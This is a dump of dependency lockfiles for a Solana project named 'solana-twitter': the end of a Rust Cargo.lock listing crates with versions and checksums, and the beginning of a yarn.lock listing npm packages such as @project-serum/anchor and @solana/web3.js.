799 | source = "registry+https://github.com/rust-lang/crates.io-index"
800 | checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872"
801 |
802 | [[package]]
803 | name = "proc-macro-crate"
804 | version = "0.1.5"
805 | source = "registry+https://github.com/rust-lang/crates.io-index"
806 | checksum = "1d6ea3c4595b96363c13943497db34af4460fb474a95c43f4446ad341b8c9785"
807 | dependencies = [
808 | "toml",
809 | ]
810 |
811 | [[package]]
812 | name = "proc-macro2"
813 | version = "1.0.39"
814 | source = "registry+https://github.com/rust-lang/crates.io-index"
815 | checksum = "c54b25569025b7fc9651de43004ae593a75ad88543b17178aa5e1b9c4f15f56f"
816 | dependencies = [
817 | "unicode-ident",
818 | ]
819 |
820 | [[package]]
821 | name = "proc-macro2-diagnostics"
822 | version = "0.9.1"
823 | source = "registry+https://github.com/rust-lang/crates.io-index"
824 | checksum = "4bf29726d67464d49fa6224a1d07936a8c08bb3fba727c7493f6cf1616fdaada"
825 | dependencies = [
826 | "proc-macro2",
827 | "quote",
828 | "syn",
829 | "version_check",
830 | "yansi",
831 | ]
832 |
833 | [[package]]
834 | name = "quote"
835 | version = "1.0.18"
836 | source = "registry+https://github.com/rust-lang/crates.io-index"
837 | checksum = "a1feb54ed693b93a84e14094943b84b7c4eae204c512b7ccb95ab0c66d278ad1"
838 | dependencies = [
839 | "proc-macro2",
840 | ]
841 |
842 | [[package]]
843 | name = "rand"
844 | version = "0.7.3"
845 | source = "registry+https://github.com/rust-lang/crates.io-index"
846 | checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03"
847 | dependencies = [
848 | "getrandom 0.1.16",
849 | "libc",
850 | "rand_chacha",
851 | "rand_core",
852 | "rand_hc",
853 | ]
854 |
855 | [[package]]
856 | name = "rand_chacha"
857 | version = "0.2.2"
858 | source = "registry+https://github.com/rust-lang/crates.io-index"
859 | checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402"
860 | dependencies = [
861 | "ppv-lite86",
862 | "rand_core",
863 | ]
864 |
865 | [[package]]
866 | name = "rand_core"
867 | version = "0.5.1"
868 | source = "registry+https://github.com/rust-lang/crates.io-index"
869 | checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19"
870 | dependencies = [
871 | "getrandom 0.1.16",
872 | ]
873 |
874 | [[package]]
875 | name = "rand_hc"
876 | version = "0.2.0"
877 | source = "registry+https://github.com/rust-lang/crates.io-index"
878 | checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c"
879 | dependencies = [
880 | "rand_core",
881 | ]
882 |
883 | [[package]]
884 | name = "redox_syscall"
885 | version = "0.2.13"
886 | source = "registry+https://github.com/rust-lang/crates.io-index"
887 | checksum = "62f25bc4c7e55e0b0b7a1d43fb893f4fa1361d0abe38b9ce4f323c2adfe6ef42"
888 | dependencies = [
889 | "bitflags",
890 | ]
891 |
892 | [[package]]
893 | name = "regex"
894 | version = "1.5.6"
895 | source = "registry+https://github.com/rust-lang/crates.io-index"
896 | checksum = "d83f127d94bdbcda4c8cc2e50f6f84f4b611f69c902699ca385a39c3a75f9ff1"
897 | dependencies = [
898 | "aho-corasick",
899 | "memchr",
900 | "regex-syntax",
901 | ]
902 |
903 | [[package]]
904 | name = "regex-syntax"
905 | version = "0.6.26"
906 | source = "registry+https://github.com/rust-lang/crates.io-index"
907 | checksum = "49b3de9ec5dc0a3417da371aab17d729997c15010e7fd24ff707773a33bddb64"
908 |
909 | [[package]]
910 | name = "rustc_version"
911 | version = "0.4.0"
912 | source = "registry+https://github.com/rust-lang/crates.io-index"
913 | checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366"
914 | dependencies = [
915 | "semver",
916 | ]
917 |
918 | [[package]]
919 | name = "rustversion"
920 | version = "1.0.6"
921 | source = "registry+https://github.com/rust-lang/crates.io-index"
922 | checksum = "f2cc38e8fa666e2de3c4aba7edeb5ffc5246c1c2ed0e3d17e560aeeba736b23f"
923 |
924 | [[package]]
925 | name = "ryu"
926 | version = "1.0.10"
927 | source = "registry+https://github.com/rust-lang/crates.io-index"
928 | checksum = "f3f6f92acf49d1b98f7a81226834412ada05458b7364277387724a237f062695"
929 |
930 | [[package]]
931 | name = "scopeguard"
932 | version = "1.1.0"
933 | source = "registry+https://github.com/rust-lang/crates.io-index"
934 | checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd"
935 |
936 | [[package]]
937 | name = "semver"
938 | version = "1.0.9"
939 | source = "registry+https://github.com/rust-lang/crates.io-index"
940 | checksum = "8cb243bdfdb5936c8dc3c45762a19d12ab4550cdc753bc247637d4ec35a040fd"
941 |
942 | [[package]]
943 | name = "serde"
944 | version = "1.0.137"
945 | source = "registry+https://github.com/rust-lang/crates.io-index"
946 | checksum = "61ea8d54c77f8315140a05f4c7237403bf38b72704d031543aa1d16abbf517d1"
947 | dependencies = [
948 | "serde_derive",
949 | ]
950 |
951 | [[package]]
952 | name = "serde_bytes"
953 | version = "0.11.6"
954 | source = "registry+https://github.com/rust-lang/crates.io-index"
955 | checksum = "212e73464ebcde48d723aa02eb270ba62eff38a9b732df31f33f1b4e145f3a54"
956 | dependencies = [
957 | "serde",
958 | ]
959 |
960 | [[package]]
961 | name = "serde_derive"
962 | version = "1.0.137"
963 | source = "registry+https://github.com/rust-lang/crates.io-index"
964 | checksum = "1f26faba0c3959972377d3b2d306ee9f71faee9714294e41bb777f83f88578be"
965 | dependencies = [
966 | "proc-macro2",
967 | "quote",
968 | "syn",
969 | ]
970 |
971 | [[package]]
972 | name = "serde_json"
973 | version = "1.0.81"
974 | source = "registry+https://github.com/rust-lang/crates.io-index"
975 | checksum = "9b7ce2b32a1aed03c558dc61a5cd328f15aff2dbc17daad8fb8af04d2100e15c"
976 | dependencies = [
977 | "itoa",
978 | "ryu",
979 | "serde",
980 | ]
981 |
982 | [[package]]
983 | name = "sha2"
984 | version = "0.9.9"
985 | source = "registry+https://github.com/rust-lang/crates.io-index"
986 | checksum = "4d58a1e1bf39749807d89cf2d98ac2dfa0ff1cb3faa38fbb64dd88ac8013d800"
987 | dependencies = [
988 | "block-buffer 0.9.0",
989 | "cfg-if",
990 | "cpufeatures",
991 | "digest 0.9.0",
992 | "opaque-debug",
993 | ]
994 |
995 | [[package]]
996 | name = "sha3"
997 | version = "0.9.1"
998 | source = "registry+https://github.com/rust-lang/crates.io-index"
999 | checksum = "f81199417d4e5de3f04b1e871023acea7389672c4135918f05aa9cbf2f2fa809"
1000 | dependencies = [
1001 | "block-buffer 0.9.0",
1002 | "digest 0.9.0",
1003 | "keccak",
1004 | "opaque-debug",
1005 | ]
1006 |
1007 | [[package]]
1008 | name = "smallvec"
1009 | version = "1.8.0"
1010 | source = "registry+https://github.com/rust-lang/crates.io-index"
1011 | checksum = "f2dd574626839106c320a323308629dcb1acfc96e32a8cba364ddc61ac23ee83"
1012 |
1013 | [[package]]
1014 | name = "solana-frozen-abi"
1015 | version = "1.9.25"
1016 | source = "registry+https://github.com/rust-lang/crates.io-index"
1017 | checksum = "9a4169a72d1c598ee818859c040053e057dc1246e0be99eaff0221d3b067b096"
1018 | dependencies = [
1019 | "bs58 0.4.0",
1020 | "bv",
1021 | "generic-array",
1022 | "log",
1023 | "memmap2",
1024 | "rustc_version",
1025 | "serde",
1026 | "serde_derive",
1027 | "sha2",
1028 | "solana-frozen-abi-macro",
1029 | "solana-logger",
1030 | "thiserror",
1031 | ]
1032 |
1033 | [[package]]
1034 | name = "solana-frozen-abi-macro"
1035 | version = "1.9.25"
1036 | source = "registry+https://github.com/rust-lang/crates.io-index"
1037 | checksum = "60ac2476ec4845f069fd2f47edd7eac993dde05492fdaf724a28cd27c9775d56"
1038 | dependencies = [
1039 | "proc-macro2",
1040 | "quote",
1041 | "rustc_version",
1042 | "syn",
1043 | ]
1044 |
1045 | [[package]]
1046 | name = "solana-logger"
1047 | version = "1.9.25"
1048 | source = "registry+https://github.com/rust-lang/crates.io-index"
1049 | checksum = "00b5a3ee6f60aec46f2ec8319de82c28e3787cff983725026156f7578186f2ed"
1050 | dependencies = [
1051 | "env_logger",
1052 | "lazy_static",
1053 | "log",
1054 | ]
1055 |
1056 | [[package]]
1057 | name = "solana-program"
1058 | version = "1.9.25"
1059 | source = "registry+https://github.com/rust-lang/crates.io-index"
1060 | checksum = "b9d0e33def9b079816b71431b2df1d56537bc081501f2c2c51c2f5e25cb2aee9"
1061 | dependencies = [
1062 | "base64 0.13.0",
1063 | "bincode",
1064 | "bitflags",
1065 | "blake3",
1066 | "borsh",
1067 | "borsh-derive",
1068 | "bs58 0.4.0",
1069 | "bv",
1070 | "bytemuck",
1071 | "console_error_panic_hook",
1072 | "console_log",
1073 | "curve25519-dalek",
1074 | "getrandom 0.1.16",
1075 | "itertools",
1076 | "js-sys",
1077 | "lazy_static",
1078 | "libsecp256k1",
1079 | "log",
1080 | "num-derive",
1081 | "num-traits",
1082 | "parking_lot",
1083 | "rand",
1084 | "rustc_version",
1085 | "rustversion",
1086 | "serde",
1087 | "serde_bytes",
1088 | "serde_derive",
1089 | "sha2",
1090 | "sha3",
1091 | "solana-frozen-abi",
1092 | "solana-frozen-abi-macro",
1093 | "solana-logger",
1094 | "solana-sdk-macro",
1095 | "thiserror",
1096 | "wasm-bindgen",
1097 | ]
1098 |
1099 | [[package]]
1100 | name = "solana-sdk-macro"
1101 | version = "1.9.25"
1102 | source = "registry+https://github.com/rust-lang/crates.io-index"
1103 | checksum = "863a4620043f4f95f7c9d13f4d257494248a46ccf54347197ff498e2c16749df"
1104 | dependencies = [
1105 | "bs58 0.4.0",
1106 | "proc-macro2",
1107 | "quote",
1108 | "rustversion",
1109 | "syn",
1110 | ]
1111 |
1112 | [[package]]
1113 | name = "solana-twitter"
1114 | version = "0.1.0"
1115 | dependencies = [
1116 | "anchor-lang",
1117 | ]
1118 |
1119 | [[package]]
1120 | name = "subtle"
1121 | version = "2.4.1"
1122 | source = "registry+https://github.com/rust-lang/crates.io-index"
1123 | checksum = "6bdef32e8150c2a081110b42772ffe7d7c9032b606bc226c8260fd97e0976601"
1124 |
1125 | [[package]]
1126 | name = "syn"
1127 | version = "1.0.95"
1128 | source = "registry+https://github.com/rust-lang/crates.io-index"
1129 | checksum = "fbaf6116ab8924f39d52792136fb74fd60a80194cf1b1c6ffa6453eef1c3f942"
1130 | dependencies = [
1131 | "proc-macro2",
1132 | "quote",
1133 | "unicode-ident",
1134 | ]
1135 |
1136 | [[package]]
1137 | name = "termcolor"
1138 | version = "1.1.3"
1139 | source = "registry+https://github.com/rust-lang/crates.io-index"
1140 | checksum = "bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755"
1141 | dependencies = [
1142 | "winapi-util",
1143 | ]
1144 |
1145 | [[package]]
1146 | name = "thiserror"
1147 | version = "1.0.31"
1148 | source = "registry+https://github.com/rust-lang/crates.io-index"
1149 | checksum = "bd829fe32373d27f76265620b5309d0340cb8550f523c1dda251d6298069069a"
1150 | dependencies = [
1151 | "thiserror-impl",
1152 | ]
1153 |
1154 | [[package]]
1155 | name = "thiserror-impl"
1156 | version = "1.0.31"
1157 | source = "registry+https://github.com/rust-lang/crates.io-index"
1158 | checksum = "0396bc89e626244658bef819e22d0cc459e795a5ebe878e6ec336d1674a8d79a"
1159 | dependencies = [
1160 | "proc-macro2",
1161 | "quote",
1162 | "syn",
1163 | ]
1164 |
1165 | [[package]]
1166 | name = "toml"
1167 | version = "0.5.9"
1168 | source = "registry+https://github.com/rust-lang/crates.io-index"
1169 | checksum = "8d82e1a7758622a465f8cee077614c73484dac5b836c02ff6a40d5d1010324d7"
1170 | dependencies = [
1171 | "serde",
1172 | ]
1173 |
1174 | [[package]]
1175 | name = "typenum"
1176 | version = "1.15.0"
1177 | source = "registry+https://github.com/rust-lang/crates.io-index"
1178 | checksum = "dcf81ac59edc17cc8697ff311e8f5ef2d99fcbd9817b34cec66f90b6c3dfd987"
1179 |
1180 | [[package]]
1181 | name = "unicode-ident"
1182 | version = "1.0.0"
1183 | source = "registry+https://github.com/rust-lang/crates.io-index"
1184 | checksum = "d22af068fba1eb5edcb4aea19d382b2a3deb4c8f9d475c589b6ada9e0fd493ee"
1185 |
1186 | [[package]]
1187 | name = "unicode-segmentation"
1188 | version = "1.9.0"
1189 | source = "registry+https://github.com/rust-lang/crates.io-index"
1190 | checksum = "7e8820f5d777f6224dc4be3632222971ac30164d4a258d595640799554ebfd99"
1191 |
1192 | [[package]]
1193 | name = "version_check"
1194 | version = "0.9.4"
1195 | source = "registry+https://github.com/rust-lang/crates.io-index"
1196 | checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
1197 |
1198 | [[package]]
1199 | name = "wasi"
1200 | version = "0.9.0+wasi-snapshot-preview1"
1201 | source = "registry+https://github.com/rust-lang/crates.io-index"
1202 | checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519"
1203 |
1204 | [[package]]
1205 | name = "wasi"
1206 | version = "0.10.2+wasi-snapshot-preview1"
1207 | source = "registry+https://github.com/rust-lang/crates.io-index"
1208 | checksum = "fd6fbd9a79829dd1ad0cc20627bf1ed606756a7f77edff7b66b7064f9cb327c6"
1209 |
1210 | [[package]]
1211 | name = "wasm-bindgen"
1212 | version = "0.2.80"
1213 | source = "registry+https://github.com/rust-lang/crates.io-index"
1214 | checksum = "27370197c907c55e3f1a9fbe26f44e937fe6451368324e009cba39e139dc08ad"
1215 | dependencies = [
1216 | "cfg-if",
1217 | "wasm-bindgen-macro",
1218 | ]
1219 |
1220 | [[package]]
1221 | name = "wasm-bindgen-backend"
1222 | version = "0.2.80"
1223 | source = "registry+https://github.com/rust-lang/crates.io-index"
1224 | checksum = "53e04185bfa3a779273da532f5025e33398409573f348985af9a1cbf3774d3f4"
1225 | dependencies = [
1226 | "bumpalo",
1227 | "lazy_static",
1228 | "log",
1229 | "proc-macro2",
1230 | "quote",
1231 | "syn",
1232 | "wasm-bindgen-shared",
1233 | ]
1234 |
1235 | [[package]]
1236 | name = "wasm-bindgen-macro"
1237 | version = "0.2.80"
1238 | source = "registry+https://github.com/rust-lang/crates.io-index"
1239 | checksum = "17cae7ff784d7e83a2fe7611cfe766ecf034111b49deb850a3dc7699c08251f5"
1240 | dependencies = [
1241 | "quote",
1242 | "wasm-bindgen-macro-support",
1243 | ]
1244 |
1245 | [[package]]
1246 | name = "wasm-bindgen-macro-support"
1247 | version = "0.2.80"
1248 | source = "registry+https://github.com/rust-lang/crates.io-index"
1249 | checksum = "99ec0dc7a4756fffc231aab1b9f2f578d23cd391390ab27f952ae0c9b3ece20b"
1250 | dependencies = [
1251 | "proc-macro2",
1252 | "quote",
1253 | "syn",
1254 | "wasm-bindgen-backend",
1255 | "wasm-bindgen-shared",
1256 | ]
1257 |
1258 | [[package]]
1259 | name = "wasm-bindgen-shared"
1260 | version = "0.2.80"
1261 | source = "registry+https://github.com/rust-lang/crates.io-index"
1262 | checksum = "d554b7f530dee5964d9a9468d95c1f8b8acae4f282807e7d27d4b03099a46744"
1263 |
1264 | [[package]]
1265 | name = "web-sys"
1266 | version = "0.3.57"
1267 | source = "registry+https://github.com/rust-lang/crates.io-index"
1268 | checksum = "7b17e741662c70c8bd24ac5c5b18de314a2c26c32bf8346ee1e6f53de919c283"
1269 | dependencies = [
1270 | "js-sys",
1271 | "wasm-bindgen",
1272 | ]
1273 |
1274 | [[package]]
1275 | name = "winapi"
1276 | version = "0.3.9"
1277 | source = "registry+https://github.com/rust-lang/crates.io-index"
1278 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
1279 | dependencies = [
1280 | "winapi-i686-pc-windows-gnu",
1281 | "winapi-x86_64-pc-windows-gnu",
1282 | ]
1283 |
1284 | [[package]]
1285 | name = "winapi-i686-pc-windows-gnu"
1286 | version = "0.4.0"
1287 | source = "registry+https://github.com/rust-lang/crates.io-index"
1288 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
1289 |
1290 | [[package]]
1291 | name = "winapi-util"
1292 | version = "0.1.5"
1293 | source = "registry+https://github.com/rust-lang/crates.io-index"
1294 | checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178"
1295 | dependencies = [
1296 | "winapi",
1297 | ]
1298 |
1299 | [[package]]
1300 | name = "winapi-x86_64-pc-windows-gnu"
1301 | version = "0.4.0"
1302 | source = "registry+https://github.com/rust-lang/crates.io-index"
1303 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
1304 |
1305 | [[package]]
1306 | name = "yansi"
1307 | version = "0.5.1"
1308 | source = "registry+https://github.com/rust-lang/crates.io-index"
1309 | checksum = "09041cd90cf85f7f8b2df60c646f853b7f535ce68f85244eb6731cf89fa498ec"
1310 |
1311 | [[package]]
1312 | name = "zeroize"
1313 | version = "1.3.0"
1314 | source = "registry+https://github.com/rust-lang/crates.io-index"
1315 | checksum = "4756f7db3f7b5574938c3eb1c117038b8e07f95ee6718c0efad4ac21508f1efd"
1316 |
--------------------------------------------------------------------------------
/yarn.lock:
--------------------------------------------------------------------------------
1 | # THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
2 | # yarn lockfile v1
3 |
4 |
5 | "@babel/runtime@^7.12.5", "@babel/runtime@^7.17.2":
6 | version "7.18.3"
7 | resolved "https://registry.npmjs.org/@babel/runtime/-/runtime-7.18.3.tgz"
8 | integrity sha512-38Y8f7YUhce/K7RMwTp7m0uCumpv9hZkitCbBClqQIow1qSbCvGkcegKOXpEWCQLfWmevgRiWokZ1GkpfhbZug==
9 | dependencies:
10 | regenerator-runtime "^0.13.4"
11 |
12 | "@ethersproject/bytes@^5.6.1":
13 | version "5.6.1"
14 | resolved "https://registry.npmjs.org/@ethersproject/bytes/-/bytes-5.6.1.tgz"
15 | integrity sha512-NwQt7cKn5+ZE4uDn+X5RAXLp46E1chXoaMmrxAyA0rblpxz8t58lVkrHXoRIn0lz1joQElQ8410GqhTqMOwc6g==
16 | dependencies:
17 | "@ethersproject/logger" "^5.6.0"
18 |
19 | "@ethersproject/logger@^5.6.0":
20 | version "5.6.0"
21 | resolved "https://registry.npmjs.org/@ethersproject/logger/-/logger-5.6.0.tgz"
22 | integrity sha512-BiBWllUROH9w+P21RzoxJKzqoqpkyM1pRnEKG69bulE9TSQD8SAIvTQqIMZmmCO8pUNkgLP1wndX1gKghSpBmg==
23 |
24 | "@ethersproject/sha2@^5.5.0":
25 | version "5.6.1"
26 | resolved "https://registry.npmjs.org/@ethersproject/sha2/-/sha2-5.6.1.tgz"
27 | integrity sha512-5K2GyqcW7G4Yo3uenHegbXRPDgARpWUiXc6RiF7b6i/HXUoWlb7uCARh7BAHg7/qT/Q5ydofNwiZcim9qpjB6g==
28 | dependencies:
29 | "@ethersproject/bytes" "^5.6.1"
30 | "@ethersproject/logger" "^5.6.0"
31 | hash.js "1.1.7"
32 |
33 | "@nodelib/fs.scandir@2.1.5":
34 | version "2.1.5"
35 | resolved "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz"
36 | integrity sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==
37 | dependencies:
38 | "@nodelib/fs.stat" "2.0.5"
39 | run-parallel "^1.1.9"
40 |
41 | "@nodelib/fs.stat@2.0.5", "@nodelib/fs.stat@^2.0.2":
42 | version "2.0.5"
43 | resolved "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz"
44 | integrity sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==
45 |
46 | "@nodelib/fs.walk@^1.2.3":
47 | version "1.2.8"
48 | resolved "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz"
49 | integrity sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==
50 | dependencies:
51 | "@nodelib/fs.scandir" "2.1.5"
52 | fastq "^1.6.0"
53 |
54 | "@project-serum/anchor@^0.24.2":
55 | version "0.24.2"
56 | resolved "https://registry.npmjs.org/@project-serum/anchor/-/anchor-0.24.2.tgz"
57 | integrity sha512-0/718g8/DnEuwAidUwh5wLYphUYXhUbiClkuRNhvNoa+1Y8a4g2tJyxoae+emV+PG/Gikd/QUBNMkIcimiIRTA==
58 | dependencies:
59 | "@project-serum/borsh" "^0.2.5"
60 | "@solana/web3.js" "^1.36.0"
61 | base64-js "^1.5.1"
62 | bn.js "^5.1.2"
63 | bs58 "^4.0.1"
64 | buffer-layout "^1.2.2"
65 | camelcase "^5.3.1"
66 | cross-fetch "^3.1.5"
67 | crypto-hash "^1.3.0"
68 | eventemitter3 "^4.0.7"
69 | js-sha256 "^0.9.0"
70 | pako "^2.0.3"
71 | snake-case "^3.0.4"
72 | toml "^3.0.0"
73 |
74 | "@project-serum/borsh@^0.2.5":
75 | version "0.2.5"
76 | resolved "https://registry.npmjs.org/@project-serum/borsh/-/borsh-0.2.5.tgz"
77 | integrity sha512-UmeUkUoKdQ7rhx6Leve1SssMR/Ghv8qrEiyywyxSWg7ooV7StdpPBhciiy5eB3T0qU1BXvdRNC8TdrkxK7WC5Q==
78 | dependencies:
79 | bn.js "^5.1.2"
80 | buffer-layout "^1.2.0"
81 |
82 | "@solana/buffer-layout@^4.0.0":
83 | version "4.0.0"
84 | resolved "https://registry.npmjs.org/@solana/buffer-layout/-/buffer-layout-4.0.0.tgz"
85 | integrity sha512-lR0EMP2HC3+Mxwd4YcnZb0smnaDw7Bl2IQWZiTevRH5ZZBZn6VRWn3/92E3qdU4SSImJkA6IDHawOHAnx/qUvQ==
86 | dependencies:
87 | buffer "~6.0.3"
88 |
89 | "@solana/web3.js@^1.36.0":
90 | version "1.43.4"
91 | resolved "https://registry.npmjs.org/@solana/web3.js/-/web3.js-1.43.4.tgz"
92 | integrity sha512-9+c965R3vjIRIfUFQtKfaG8BM4tVoo/fp4DvmqHAGLTaeHilVsRdyXszW6+Ues5KczgBejlp62k2SeUcbOibUg==
93 | dependencies:
94 | "@babel/runtime" "^7.12.5"
95 | "@ethersproject/sha2" "^5.5.0"
96 | "@solana/buffer-layout" "^4.0.0"
97 | bigint-buffer "^1.1.5"
98 | bn.js "^5.0.0"
99 | borsh "^0.7.0"
100 | bs58 "^4.0.1"
101 | buffer "6.0.1"
102 | fast-stable-stringify "^1.0.0"
103 | jayson "^3.4.4"
104 | js-sha3 "^0.8.0"
105 | node-fetch "2"
106 | rpc-websockets "^7.4.2"
107 | secp256k1 "^4.0.2"
108 | superstruct "^0.14.2"
109 | tweetnacl "^1.0.0"
110 |
111 | "@types/bn.js@^5.1.0":
112 | version "5.1.0"
113 | resolved "https://registry.npmjs.org/@types/bn.js/-/bn.js-5.1.0.tgz"
114 | integrity sha512-QSSVYj7pYFN49kW77o2s9xTCwZ8F2xLbjLLSEVh8D2F4JUhZtPAGOFLTD+ffqksBx/u4cE/KImFjyhqCjn/LIA==
115 | dependencies:
116 | "@types/node" "*"
117 |
118 | "@types/chai@^4.3.0":
119 | version "4.3.1"
120 | resolved "https://registry.npmjs.org/@types/chai/-/chai-4.3.1.tgz"
121 | integrity sha512-/zPMqDkzSZ8t3VtxOa4KPq7uzzW978M9Tvh+j7GHKuo6k6GTLxPJ4J5gE5cjfJ26pnXst0N5Hax8Sr0T2Mi9zQ==
122 |
123 | "@types/connect@^3.4.33":
124 | version "3.4.35"
125 | resolved "https://registry.npmjs.org/@types/connect/-/connect-3.4.35.tgz"
126 | integrity sha512-cdeYyv4KWoEgpBISTxWvqYsVy444DOqehiF3fM3ne10AmJ62RSyNkUnxMJXHQWRQQX2eR94m5y1IZyDwBjV9FQ==
127 | dependencies:
128 | "@types/node" "*"
129 |
130 | "@types/express-serve-static-core@^4.17.9":
131 | version "4.17.28"
132 | resolved "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.28.tgz"
133 | integrity sha512-P1BJAEAW3E2DJUlkgq4tOL3RyMunoWXqbSCygWo5ZIWTjUgN1YnaXWW4VWl/oc8vs/XoYibEGBKP0uZyF4AHig==
134 | dependencies:
135 | "@types/node" "*"
136 | "@types/qs" "*"
137 | "@types/range-parser" "*"
138 |
139 | "@types/json5@^0.0.29":
140 | version "0.0.29"
141 | resolved "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz"
142 | integrity sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==
143 |
144 | "@types/lodash@^4.14.159":
145 | version "4.14.182"
146 | resolved "https://registry.npmjs.org/@types/lodash/-/lodash-4.14.182.tgz"
147 | integrity sha512-/THyiqyQAP9AfARo4pF+aCGcyiQ94tX/Is2I7HofNRqoYLgN1PBoOWu2/zTA5zMxzP5EFutMtWtGAFRKUe961Q==
148 |
149 | "@types/mocha@^9.0.0":
150 | version "9.1.1"
151 | resolved "https://registry.npmjs.org/@types/mocha/-/mocha-9.1.1.tgz"
152 | integrity sha512-Z61JK7DKDtdKTWwLeElSEBcWGRLY8g95ic5FoQqI9CMx0ns/Ghep3B4DfcEimiKMvtamNVULVNKEsiwV3aQmXw==
153 |
154 | "@types/node@*":
155 | version "17.0.36"
156 | resolved "https://registry.npmjs.org/@types/node/-/node-17.0.36.tgz"
157 | integrity sha512-V3orv+ggDsWVHP99K3JlwtH20R7J4IhI1Kksgc+64q5VxgfRkQG8Ws3MFm/FZOKDYGy9feGFlZ70/HpCNe9QaA==
158 |
159 | "@types/node@^12.12.54":
160 | version "12.20.52"
161 | resolved "https://registry.npmjs.org/@types/node/-/node-12.20.52.tgz"
162 | integrity sha512-cfkwWw72849SNYp3Zx0IcIs25vABmFh73xicxhCkTcvtZQeIez15PpwQN8fY3RD7gv1Wrxlc9MEtfMORZDEsGw==
163 |
164 | "@types/qs@*":
165 | version "6.9.7"
166 | resolved "https://registry.npmjs.org/@types/qs/-/qs-6.9.7.tgz"
167 | integrity sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw==
168 |
169 | "@types/range-parser@*":
170 | version "1.2.4"
171 | resolved "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.4.tgz"
172 | integrity sha512-EEhsLsD6UsDM1yFhAvy0Cjr6VwmpMWqFBCb9w07wVugF7w9nfajxLuVmngTIpgS6svCnm6Vaw+MZhoDCKnOfsw==
173 |
174 | "@types/ws@^7.4.4":
175 | version "7.4.7"
176 | resolved "https://registry.npmjs.org/@types/ws/-/ws-7.4.7.tgz"
177 | integrity sha512-JQbbmxZTZehdc2iszGKs5oC3NFnjeay7mtAWrdt7qNtAVK0g19muApzAy4bm9byz79xa2ZnO/BOBC2R8RC5Lww==
178 | dependencies:
179 | "@types/node" "*"
180 |
181 | "@ungap/promise-all-settled@1.1.2":
182 | version "1.1.2"
183 | resolved "https://registry.npmjs.org/@ungap/promise-all-settled/-/promise-all-settled-1.1.2.tgz"
184 | integrity sha512-sL/cEvJWAnClXw0wHk85/2L0G6Sj8UB0Ctc1TEMbKSsmpRosqhwj9gWgFRZSrBr2f9tiXISwNhCPmlfqUqyb9Q==
185 |
186 | JSONStream@^1.3.5:
187 | version "1.3.5"
188 | resolved "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.5.tgz"
189 | integrity sha512-E+iruNOY8VV9s4JEbe1aNEm6MiszPRr/UfcHMz0TQh1BXSxHK+ASV1R6W4HpjBhSeS+54PIsAMCBmwD06LLsqQ==
190 | dependencies:
191 | jsonparse "^1.2.0"
192 | through ">=2.2.7 <3"
193 |
194 | acorn-node@^1.8.2:
195 | version "1.8.2"
196 | resolved "https://registry.npmjs.org/acorn-node/-/acorn-node-1.8.2.tgz"
197 | integrity sha512-8mt+fslDufLYntIoPAaIMUe/lrbrehIiwmR3t2k9LljIzoigEPF27eLk2hy8zSGzmR/ogr7zbRKINMo1u0yh5A==
198 | dependencies:
199 | acorn "^7.0.0"
200 | acorn-walk "^7.0.0"
201 | xtend "^4.0.2"
202 |
203 | acorn-walk@^7.0.0:
204 | version "7.2.0"
205 | resolved "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz"
206 | integrity sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==
207 |
208 | acorn@^7.0.0:
209 | version "7.4.1"
210 | resolved "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz"
211 | integrity sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==
212 |
213 | ansi-colors@4.1.1:
214 | version "4.1.1"
215 | resolved "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.1.tgz"
216 | integrity sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA==
217 |
